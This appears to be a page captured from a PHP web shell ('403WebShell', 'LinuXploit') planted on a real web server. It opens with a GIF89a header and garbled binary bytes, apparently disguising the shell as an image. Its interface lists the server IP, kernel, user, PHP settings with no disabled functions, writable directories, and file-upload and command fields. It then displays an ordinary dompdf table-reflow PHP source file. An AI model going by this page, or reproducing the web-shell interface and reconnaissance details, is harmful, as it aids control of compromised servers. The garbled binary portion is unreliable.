GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus03 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /htdocs/vendor/thujohn/pdf/src/Thujohn/Pdf/dompdf/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /htdocs/vendor/thujohn/pdf/src/Thujohn/Pdf/dompdf/include/table_frame_reflower.cls.php
<?php
/**
 * @package dompdf
 * @link    http://dompdf.github.com/
 * @author  Benj Carson <benjcarson@digitaljunkies.ca>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

/**
 * Reflows tables
 *
 * @access private
 * @package dompdf
 */
class Table_Frame_Reflower extends Frame_Reflower {
  /**
   * Frame for this reflower
   *
   * @var Table_Frame_Decorator
   */
  protected $_frame;

  /**
   * Cache of results between call to get_min_max_width and assign_widths
   *
   * @var array
   */
  protected $_state;

  function __construct(Table_Frame_Decorator $frame) {
    $this->_state = null;
    parent::__construct($frame);
  }

  /**
   * State is held here so it needs to be reset along with the decorator
   */
  function reset() {
    $this->_state = null;
    $this->_min_max_cache = null;
  }

  //........................................................................

  protected function _assign_widths() {
    $style = $this->_frame->get_style();

    // Find the min/max width of the table and sort the columns into
    // absolute/percent/auto arrays
    $min_width = $this->_state["min_width"];
    $max_width = $this->_state["max_width"];
    $percent_used = $this->_state["percent_used"];
    $absolute_used = $this->_state["absolute_used"];
    $auto_min = $this->_state["auto_min"];

    $absolute =& $this->_state["absolute"];
    $percent =& $this->_state["percent"];
    $auto =& $this->_state["auto"];

    // Determine the actual width of the table
    $cb = $this->_frame->get_containing_block();
    $columns =& $this->_frame->get_cellmap()->get_columns();

    $width = $style->width;

    // Calculate padding & border fudge factor
    $left = $style->margin_left;
    $right = $style->margin_right;
    
    $centered = ( $left === "auto" && $right === "auto" );

    $left  = $left  === "auto" ? 0 : $style->length_in_pt($left, $cb["w"]);
    $right = $right === "auto" ? 0 : $style->length_in_pt($right, $cb["w"]);

    $delta = $left + $right;
    
    if ( !$centered ) {
      $delta += $style->length_in_pt(array(
        $style->padding_left,
        $style->border_left_width,
        $style->border_right_width,
        $style->padding_right), 
      $cb["w"]);
    }
    
    $min_table_width = $style->length_in_pt( $style->min_width, $cb["w"] - $delta );

    // min & max widths already include borders & padding
    $min_width -= $delta;
    $max_width -= $delta;
    
    if ( $width !== "auto" ) {

      $preferred_width = $style->length_in_pt($width, $cb["w"]) - $delta;

      if ( $preferred_width < $min_table_width )
        $preferred_width = $min_table_width;

      if ( $preferred_width > $min_width )
        $width = $preferred_width;
      else
        $width = $min_width;

    } else {

      if ( $max_width + $delta < $cb["w"] )
        $width = $max_width;
      else if ( $cb["w"] - $delta > $min_width )
        $width = $cb["w"] - $delta;
      else
        $width = $min_width;

      if ( $width < $min_table_width )
        $width = $min_table_width;

    }

    // Store our resolved width
    $style->width = $width;

    $cellmap = $this->_frame->get_cellmap();
    
    if ( $cellmap->is_columns_locked() ) {
      return;
    }

    // If the whole table fits on the page, then assign each column it's max width
    if ( $width == $max_width ) {

      foreach (array_keys($columns) as $i)
        $cellmap->set_column_width($i, $columns[$i]["max-width"]);

      return;
    }

    // Determine leftover and assign it evenly to all columns
    if ( $width > $min_width ) {

      // We have four cases to deal with:
      //
      // 1. All columns are auto--no widths have been specified.  In this
      // case we distribute extra space across all columns weighted by max-width.
      //
      // 2. Only absolute widths have been specified.  In this case we
      // distribute any extra space equally among 'width: auto' columns, or all
      // columns if no auto columns have been specified.
      //
      // 3. Only percentage widths have been specified.  In this case we
      // normalize the percentage values and distribute any remaining % to
      // width: auto columns.  We then proceed to assign widths as fractions
      // of the table width.
      //
      // 4. Both absolute and percentage widths have been specified.

      $increment = 0;

      // Case 1:
      if ( $absolute_used == 0 && $percent_used == 0 ) {
        $increment = $width - $min_width;

        foreach (array_keys($columns) as $i) {
          $cellmap->set_column_width($i, $columns[$i]["min-width"] + $increment * ($columns[$i]["max-width"] / $max_width));
        }
        return;
      }


      // Case 2
      if ( $absolute_used > 0 && $percent_used == 0 ) {

        if ( count($auto) > 0 )
          $increment = ($width - $auto_min - $absolute_used) / count($auto);

        // Use the absolutely specified width or the increment
        foreach (array_keys($columns) as $i) {

          if ( $columns[$i]["absolute"] > 0 && count($auto) )
            $cellmap->set_column_width($i, $columns[$i]["min-width"]);
          else if ( count($auto) ) 
            $cellmap->set_column_width($i, $columns[$i]["min-width"] + $increment);
          else {
            // All absolute columns
            $increment = ($width - $absolute_used) * $columns[$i]["absolute"] / $absolute_used;

            $cellmap->set_column_width($i, $columns[$i]["min-width"] + $increment);
          }

        }
        return;
      }


      // Case 3:
      if ( $absolute_used == 0 && $percent_used > 0 ) {

        $scale = null;
        $remaining = null;

        // Scale percent values if the total percentage is > 100, or if all
        // values are specified as percentages.
        if ( $percent_used > 100 || count($auto) == 0)
          $scale = 100 / $percent_used;
        else
          $scale = 1;

        // Account for the minimum space used by the unassigned auto columns
        $used_width = $auto_min;

        foreach ($percent as $i) {
          $columns[$i]["percent"] *= $scale;

          $slack = $width - $used_width;

          $w = min($columns[$i]["percent"] * $width/100, $slack);

          if ( $w < $columns[$i]["min-width"] )
            $w = $columns[$i]["min-width"];

          $cellmap->set_column_width($i, $w);
          $used_width += $w;

        }

        // This works because $used_width includes the min-width of each
        // unassigned column
        if ( count($auto) > 0 ) {
          $increment = ($width - $used_width) / count($auto);

          foreach ($auto as $i)
            $cellmap->set_column_width($i, $columns[$i]["min-width"] + $increment);

        }
        return;
      }

      // Case 4:

      // First-come, first served
      if ( $absolute_used > 0 && $percent_used > 0 ) {

        $used_width = $auto_min;

        foreach ($absolute as $i) {
          $cellmap->set_column_width($i, $columns[$i]["min-width"]);
          $used_width +=  $columns[$i]["min-width"];
        }

        // Scale percent values if the total percentage is > 100 or there
        // are no auto values to take up slack
        if ( $percent_used > 100 || count($auto) == 0 )
          $scale = 100 / $percent_used;
        else
          $scale = 1;

        $remaining_width = $width - $used_width;

        foreach ($percent as $i) {
          $slack = $remaining_width - $used_width;

          $columns[$i]["percent"] *= $scale;
          $w = min($columns[$i]["percent"] * $remaining_width / 100, $slack);

          if ( $w < $columns[$i]["min-width"] )
            $w = $columns[$i]["min-width"];

          $columns[$i]["used-width"] = $w;
          $used_width += $w;
        }

        if ( count($auto) > 0 ) {
          $increment = ($width - $used_width) / count($auto);

          foreach ($auto as $i)
            $cellmap->set_column_width($i, $columns[$i]["min-width"] + $increment);

        }

        return;
      }


    } else { // we are over constrained

      // Each column gets its minimum width
      foreach (array_keys($columns) as $i)
        $cellmap->set_column_width($i, $columns[$i]["min-width"]);

    }
  }

  //........................................................................

  // Determine the frame's height based on min/max height
  protected function _calculate_height() {

    $style = $this->_frame->get_style();
    $height = $style->height;

    $cellmap = $this->_frame->get_cellmap();
    $cellmap->assign_frame_heights();
    $rows = $cellmap->get_rows();

    // Determine our content height
    $content_height = 0;
    foreach ( $rows as $r )
      $content_height += $r["height"];

    $cb = $this->_frame->get_containing_block();

    if ( !($style->overflow === "visible" ||
           ($style->overflow === "hidden" && $height === "auto")) ) {

      // Only handle min/max height if the height is independent of the frame's content

      $min_height = $style->min_height;
      $max_height = $style->max_height;

      if ( isset($cb["h"]) ) {
        $min_height = $style->length_in_pt($min_height, $cb["h"]);
        $max_height = $style->length_in_pt($max_height, $cb["h"]);

      } else if ( isset($cb["w"]) ) {

        if ( mb_strpos($min_height, "%") !== false )
          $min_height = 0;
        else
          $min_height = $style->length_in_pt($min_height, $cb["w"]);

        if ( mb_strpos($max_height, "%") !== false )
          $max_height = "none";
        else
          $max_height = $style->length_in_pt($max_height, $cb["w"]);
      }

      if ( $max_height !== "none" && $min_height > $max_height )
        // Swap 'em
        list($max_height, $min_height) = array($min_height, $max_height);

      if ( $max_height !== "none" && $height > $max_height )
        $height = $max_height;

      if ( $height < $min_height )
        $height = $min_height;

    } else {

      // Use the content height or the height value, whichever is greater
      if ( $height !== "auto" ) {
        $height = $style->length_in_pt($height, $cb["h"]);

        if ( $height <= $content_height )
          $height = $content_height;
        else
          $cellmap->set_frame_heights($height,$content_height);

      } else
        $height = $content_height;

    }

    return $height;

  }
  //........................................................................

  /**
   * @param Block_Frame_Decorator $block
   */
  function reflow(Block_Frame_Decorator $block = null) {
    /**
     * @var Table_Frame_Decorator
     */
    $frame = $this->_frame;
    
    // Check if a page break is forced
    $page = $frame->get_root();
    $page->check_forced_page_break($frame);

    // Bail if the page is full
    if ( $page->is_full() )
      return;
    
    // Let the page know that we're reflowing a table so that splits
    // are suppressed (simply setting page-break-inside: avoid won't
    // work because we may have an arbitrary number of block elements
    // inside tds.)
    $page->table_reflow_start();
    
    // Collapse vertical margins, if required
    $this->_collapse_margins();

    $frame->position();

    // Table layout algorithm:
    // http://www.w3.org/TR/CSS21/tables.html#auto-table-layout

    if ( is_null($this->_state) )
      $this->get_min_max_width();

    $cb = $frame->get_containing_block();
    $style = $frame->get_style();

    // This is slightly inexact, but should be okay.  Add half the
    // border-spacing to the table as padding.  The other half is added to
    // the cells themselves.
    if ( $style->border_collapse === "separate" ) {
      list($h, $v) = $style->border_spacing;

      $v = $style->length_in_pt($v) / 2;
      $h = $style->length_in_pt($h) / 2;

      $style->padding_left   = $style->length_in_pt($style->padding_left,   $cb["w"]) + $h;
      $style->padding_right  = $style->length_in_pt($style->padding_right,  $cb["w"]) + $h;
      $style->padding_top    = $style->length_in_pt($style->padding_top,    $cb["h"]) + $v;
      $style->padding_bottom = $style->length_in_pt($style->padding_bottom, $cb["h"]) + $v;

    }

    $this->_assign_widths();

    // Adjust left & right margins, if they are auto
    $width = $style->width;
    $left = $style->margin_left;
    $right = $style->margin_right;

    $diff = $cb["w"] - $width;

    if ( $left === "auto" && $right === "auto" ) {
      if ( $diff < 0 ) {
        $left = 0;
        $right = $diff;
      }
      else {
        $left = $right = $diff / 2;
      }
      
      $style->margin_left = "$left pt";
      $style->margin_right = "$right pt";

    } else {
      if ( $left === "auto" ) {
        $left = $style->length_in_pt($cb["w"] - $right - $width, $cb["w"]);
      }
      if ( $right === "auto" ) {
        $left = $style->length_in_pt($left, $cb["w"]);
      }
    }

    list($x, $y) = $frame->get_position();

    // Determine the content edge
    $content_x = $x + $left + $style->length_in_pt(array($style->padding_left,
                                                         $style->border_left_width), $cb["w"]);
    $content_y = $y + $style->length_in_pt(array($style->margin_top,
                                                 $style->border_top_width,
                                                 $style->padding_top), $cb["h"]);

    if ( isset($cb["h"]) )
      $h = $cb["h"];
    else
      $h = null;

    $cellmap = $frame->get_cellmap();
    $col =& $cellmap->get_column(0);
    $col["x"] = $content_x;

    $row =& $cellmap->get_row(0);
    $row["y"] = $content_y;

    $cellmap->assign_x_positions();

    // Set the containing block of each child & reflow
    foreach ( $frame->get_children() as $child ) {

      // Bail if the page is full
      if ( !$page->in_nested_table() && $page->is_full() )
        break;

      $child->set_containing_block($content_x, $content_y, $width, $h);
      $child->reflow();

      if ( !$page->in_nested_table() )
        // Check if a split has occured
        $page->check_page_break($child);

    }

    // Assign heights to our cells:
    $style->height = $this->_calculate_height();

    if ( $style->border_collapse === "collapse" ) {
      // Unset our borders because our cells are now using them
      $style->border_style = "none";
    }

    $page->table_reflow_end();

    // Debugging:
    //echo ($this->_frame->get_cellmap());
    
    if ( $block && $style->float === "none" && $frame->is_in_flow() ) {
      $block->add_frame_to_line($frame);
      $block->add_line();
    }
  }

  //........................................................................

  function get_min_max_width() {

    if ( !is_null($this->_min_max_cache)  )
      return $this->_min_max_cache;

    $style = $this->_frame->get_style();

    $this->_frame->normalise();

    // Add the cells to the cellmap (this will calcluate column widths as
    // frames are added)
    $this->_frame->get_cellmap()->add_frame($this->_frame);

    // Find the min/max width of the table and sort the columns into
    // absolute/percent/auto arrays
    $this->_state = array();
    $this->_state["min_width"] = 0;
    $this->_state["max_width"] = 0;

    $this->_state["percent_used"] = 0;
    $this->_state["absolute_used"] = 0;
    $this->_state["auto_min"] = 0;

    $this->_state["absolute"] = array();
    $this->_state["percent"] = array();
    $this->_state["auto"] = array();

    $columns =& $this->_frame->get_cellmap()->get_columns();
    foreach (array_keys($columns) as $i) {
      $this->_state["min_width"] += $columns[$i]["min-width"];
      $this->_state["max_width"] += $columns[$i]["max-width"];

      if ( $columns[$i]["absolute"] > 0 ) {
        $this->_state["absolute"][] = $i;
        $this->_state["absolute_used"] += $columns[$i]["absolute"];

      } else if ( $columns[$i]["percent"] > 0 ) {
        $this->_state["percent"][] = $i;
        $this->_state["percent_used"] += $columns[$i]["percent"];

      } else {
        $this->_state["auto"][] = $i;
        $this->_state["auto_min"] += $columns[$i]["min-width"];
      }
    }

    // Account for margins & padding
    $dims = array($style->border_left_width,
                  $style->border_right_width,
                  $style->padding_left,
                  $style->padding_right,
                  $style->margin_left,
                  $style->margin_right);

    if ( $style->border_collapse !== "collapse" ) 
      list($dims[]) = $style->border_spacing;

    $delta = $style->length_in_pt($dims, $this->_frame->get_containing_block("w"));

    $this->_state["min_width"] += $delta;
    $this->_state["max_width"] += $delta;

    return $this->_min_max_cache = array(
      $this->_state["min_width"], 
      $this->_state["max_width"],
      "min" => $this->_state["min_width"], 
      "max" => $this->_state["max_width"],
    );
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit